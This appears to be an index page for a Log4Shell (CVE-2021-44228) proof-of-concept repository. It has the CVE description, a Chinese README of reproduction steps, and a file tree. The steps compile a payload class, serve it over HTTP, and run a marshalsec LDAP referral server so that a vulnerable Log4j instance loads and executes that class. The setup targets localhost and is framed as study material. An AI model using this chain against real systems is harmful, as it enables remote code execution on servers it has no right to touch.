CVE-2021-44228 PoC — Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Source

https://github.com/zhangxvx/Log4j-Rec-CVE-2021-44228

Associated Vulnerability

Title:Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints (CVE-2021-44228)
Description:Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Description

Apache Log4j CVE-2021-44228 漏洞复现

Readme

## Log4j2复现笔记，仅供学习
参考https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

### 创建可执行文件
```
com/example/template

javac Log4jRCE.java
```

### 启动Python自带的HTTP服务器
```
com/example/template
python -m http.server 8888
```

### 启动LDAP服务器
```
tools
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"
```

### 模拟注入攻击提交表单
```
com/example/hack/Hack.java
```

File Snapshot


 [4.0K]  /data/pocs/09c37dd00a30b239e787b28e431532a69cf52da2
├── [ 990]  pom.xml
├── [ 498]  README.md
├── [4.0K]  src
│   └── [4.0K]  main
│       ├── [4.0K]  java
│       │   └── [4.0K]  com
│       │       └── [4.0K]  example
│       │           ├── [4.0K]  hack
│       │           │   └── [ 403]  Hack.java
│       │           ├── [ 375]  Log4jRCETest.java
│       │           └── [4.0K]  template
│       │               ├── [ 609]  Log4jRCE.class
│       │               └── [ 296]  Log4jRCE.java
│       └── [4.0K]  resources
│           └── [2.2K]  log4j2.xml
└── [4.0K]  tools
    └── [ 41M]  marshalsec-0.0.3-SNAPSHOT-all.jar

9 directories, 8 files

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